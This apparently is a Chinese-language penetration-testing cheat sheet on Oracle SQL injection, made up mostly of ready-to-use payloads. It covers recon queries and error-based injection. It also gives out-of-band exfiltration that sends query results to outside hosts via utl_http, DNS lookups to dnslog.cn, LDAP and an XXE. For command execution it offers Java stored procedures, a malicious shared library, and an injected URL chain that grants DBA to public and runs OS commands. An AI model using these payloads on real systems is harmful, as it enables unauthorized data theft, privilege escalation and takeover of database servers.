数据库信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 获取当前数据库名
select instance_name from v$instance;
# 查询oracle版本
select version from v$instance;
# 查询操作系统环境
select banner from v$version where banner like 'TNS%';
# 查询系统所有用户
select username from all_users order by username;
select name from sys.user$;
# 查询当前用户
select user from dual;
# 查询当前用户的所有权限
select * from session_privs;
# 获取当前数据库有哪些表
select table_name from user_tables;
# 查询表的字段(注意表名要大写)
select column_name from user_tab_columns where table_name='TB_USER';

联合查询

Mysql 一致,也是 union select ,所以就不再次介绍了。

报错注入

utl_inaddr.get_host_name

1
select utl_inaddr.get_host_name((select user from dual)) from dual;

ctxsys.drithsx.sn

1
select ctxsys.drithsx.sn(1, (select user from dual)) from dual;

CTXSYS.CTX_REPORT.TOKEN_TYPE

1
select CTXSYS.CTX_REPORT.TOKEN_TYPE((select user from dual), '123') from dual;

XMLType

1
http://localhost:8080/oracleInject/index?username=admin' and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --

注意 url 编码,如果返回的数据有空格的话,它会自动截断,导致数据不完整,这种情况下先转为 hex ,再导出。

dbms_xdb_version.checkin

1
select dbms_xdb_version.checkin((select user from dual)) from dual;

dbms_xdb_version.makeversioned

1
select dbms_xdb_version.makeversioned((select user from dual)) from dual;

dbms_xdb_version.uncheckout

1
select dbms_xdb_version.uncheckout((select user from dual)) from dual;

dbms_utility.sqlid_to_sqlhash

1
SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual;

ordsys.ord_dicom.getmappingxpath

1
select ordsys.ord_dicom.getmappingxpath((select user from dual), 1, 1) from dual;

UTL_INADDR.get_host_name

1
select UTL_INADDR.get_host_name((select user from dual)) from dual;

UTL_INADDR.get_host_address

1
select UTL_INADDR.get_host_name('~'||(select user from dual)||'~') from dual;

盲注

MySQL 的类似,也不介绍了。

外带数据

utl_http.request

http 请求。

1
2
# 外带数据示例,oracle的字符串连接符为||
select utl_http.request('http://192.168.163.150:10001/?result='||(select user from dual)) from dual;

utl_inaddr.get_host_address

dns 请求。

1
select utl_inaddr.get_host_address((select user from dual)||'.gvw06t.dnslog.cn') from dual;

DBMS_LDAP.INIT

1
SELECT DBMS_LDAP.INIT((select user from dual)||'.u0mowe.dnslog.cn',80) FROM DUAL;

HTTPURITYPE

1
SELECT HTTPURITYPE((select user from dual)||'.24wypw.dnslog.cn').GETCLOB() FROM DUAL;

其它

如果 Oracle 版本 <= 10g,可以尝试以下函数:

  1. UTL_INADDR.GET_HOST_ADDRESS
  2. UTL_HTTP.REQUEST
  3. HTTP_URITYPE.GETCLOB
  4. DBMS_LDAP.INIT and UTL_TCP

XXE (CVE-2014-6577)

说是 xxe ,实际上应该算是利用 xml 的加载外部文档来进行数据带外。支持 httpftp

1
2
3
select 1 from dual where 1=(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://192.168.124.1/'||(SELECT user from dual)||'"> %remote;]>'),'/l') from dual); 

select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "ftp://'||user||':bar@IP/test"> %remote; %param1;]>'),'/l') from dual;

RCE

调用java代码

oracle 有一个特别的地方就是他可以创建 java 代码,并且编译运行,也就是说假如我们获取了一个 oracle 数据库的 dba 权限,那么我们就获取了任意 Java 代码执行的权限。

注意, Oracle 使用的是 jdk6 ,所以要用 jdk6 语法的代码。

1
2
# 不运行这个代码可能会报错
alter system set JAVA_JIT_ENABLED=FALSE scope = both;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# 1. 创建Java Source
CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "Hack" AS import java.io.*;public class Hack{public static String run(String cmd) throws IOException {Process p=Runtime.getRuntime().exec(cmd);InputStream is=p.getInputStream();BufferedReader br=new BufferedReader(new InputStreamReader(is));String s;StringBuilder sb=new StringBuilder();while ((s = br.readLine()) != null) {sb.append(s);}return sb.toString();}}
/
# 2. 创建Function
create or replace function run(nothing in varchar2) return varchar2 as language java name 'Hack.run(java.lang.String) return String';
/
# 3. 赋予代码执行的权限
DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/
DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.lang.RuntimePermission','writeFileDescriptor',NULL,'ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/
DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.lang.RuntimePermission','readFileDescriptor',NULL,'ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/
# 4. 执行代码
select run('whoami') from dual;

加载so文件

原理类似于 MysqlUDF 提权,都是可以加载新的 so 文件来创建新的命令。不过需要可以上传文件还要修改配置文件。

1
2
3
4
5
6
7
#include <stdio.h>
#include <stdlib.h>

char* cmd(char* command) {
system(command);
return "ok";
}
1
gcc -shared -fPIC evil.c -o evil.so

1
2
3
4
5
6
7
create or replace library lib_evil as '/home/oracle/evil.so';  
/

create or replace function cmd(str varchar2) return varchar2 as language c library lib_evil name "cmd";
/

select cmd('whoami') from dual;

这里直接执行命令会报错 Invalid DLL Path

解决方式是需要 $ORACLE_HOME/hs/admin/extproc.ora 文件的末尾加上一行代码。

前面两个 RCE 的方法需要执行多行 sql 语句,但是从外部注入的时候我们只能执行单条语句。此时可以用后面几种方法。

利用dbms_xmlquery

影响版本:oracle 10g11g ,部分版本。

在上述低版本中这个函数才可以进行 RCE ,高版本都被修复了,这个函数本身是用来解析一段 XML 内容的,但是可以用来执行我们的 SQL 指令,可以把多条语句一起执行,起到多语句执行的目的。

1
2
3
4
5
6
7
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;

select OBJECT_ID from all_objects where object_name ='LINXRUNCMD';

select LINXRUNCMD('whoami') from dual;

批量执行sql文件

如果我们可以上传文件到目标环境,我们就可以上传一个 sql 文件到目标环境,然后通过 @/tmp/1.sql 来一次执行多行 sql 语句,原理其实和前面调用 java 代码是一致的。

  • /tmp/evil.sql
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
DECLARE  
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT
'GRANT',USER(),'SYS','java.io.FilePermission',
'<<ALL FILES>>','execute','ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/

create or replace and resolve java source named "oraexec" as
import java.lang.*;
import java.io.*;
public class oraexec
{
public static String execCommand(String command) throws IOException, InterruptedException {
Runtime rt = Runtime.getRuntime();
int bufSize = 4096;
byte buffer[] = new byte[bufSize];
String rc = "";
int len;
try{
Process p = rt.exec(command);
BufferedInputStream bis =
new BufferedInputStream(p.getInputStream(), bufSize);
while ((len = bis.read(buffer, 0, bufSize)) != -1){
rc += new String(buffer).split("\0")[0];;
}
bis.close();
p.waitFor();
return rc;
} catch (Exception e) {
rc = e.getMessage();
}
finally
{
return rc;
}
}
}
/
create or replace
function javae(p_command in varchar2) return varchar2
as
language java
name 'oraexec.execCommand(java.lang.String) return String';
/
1
2
@/tmp/evil.sql
select javae('whoami') from dual;

dbms_java.runjava/dbms_java_test_funcall

1
2
3
4
# 适用于11g
SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper touch /tmp/1.txt') FROM DUAL;
# 使用于10g/11g
SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','touch /tmp/1.txt') FROM DUAL;

但是发现上面的命令只能执行一次。第一次虽然 ERROR 了但是发现命令还是执行成功了。

GET_DOMAIN_INDEX_TABLES函数注入

影响版本:Oracle 8.1.7.4, 9.2.0.1 - 9.2.0.7, 10.1.0.2 - 10.1.0.4, 10.2.0.1-10.2.0.2

漏洞的成因是该函数的参数存在注入,而该函数的所有者是 sys ,所以通过注入就可以执行任意 sql ,该函数的执行权限为 public ,所以只要遇到一个 oracle 的注入点并且存在这个漏洞的,基本上都可以提升到最高权限。

1
2
3
4
5
6
7
8
9
10
11
12
1. 权限提升
http://localhost:8080/oracleInject/index?username=admin' and (SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS _OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to public'''';END;'';END;--','SYS',0,'1',0)) is not null--
2. 创建Java代码执行命令
http://localhost:8080/oracleInject/index?username=admin' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "Command" as import java.io.*;public class Command{public static String exec(String cmd) throws Exception{String sb="";BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());BufferedReader inBr = new BufferedReader(new InputStreamReader(in));String lineStr;while ((lineStr = inBr.readLine()) != null)sb+=lineStr+"\n";inBr.close();in.close();return sb;}}'''';END;'';END;--','SYS',0,'1',0) from dual) is not null --
3. 赋予Java执行权限
http://localhost:8080/oracleInject/index?username=admin' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual) is not null --
4. 创建函数
http://localhost:8080/oracleInject/index?username=admin' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function cmd(p_cmd in varchar2) return varchar2 as language java name ''''''''Command.exec(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual) is not null --
5. 赋予函数执行权限
http://localhost:8080/oracleInject/index?username=admin' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on cmd to public'''';END;'';END;--','SYS',0,'1',0) from dual) is not null--
6. 执行命令
http://localhost:8080/oracleInject/index?username=admin' and (select sys.cmd('cmd.exe /c whoami') from dual) is not null--

参考文章

https://550532788.github.io/2020/08/10/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84Oracle%E6%B3%A8%E5%85%A5%E5%AD%A6%E4%B9%A0/
https://xz.aliyun.com/t/9940
https://xz.aliyun.com/t/10469
https://boogipop.com/2024/02/29/Oracle%20%E6%B3%A8%E5%85%A5%20RCE%20%E7%94%B1%E6%B5%85%E5%85%A5%E6%B7%B1/
https://y4er.com/posts/oracle-sql-inject/#oracle-xxe-cve-2014-6577
https://hughlhz.github.io/2020/07/15/oracle_exec/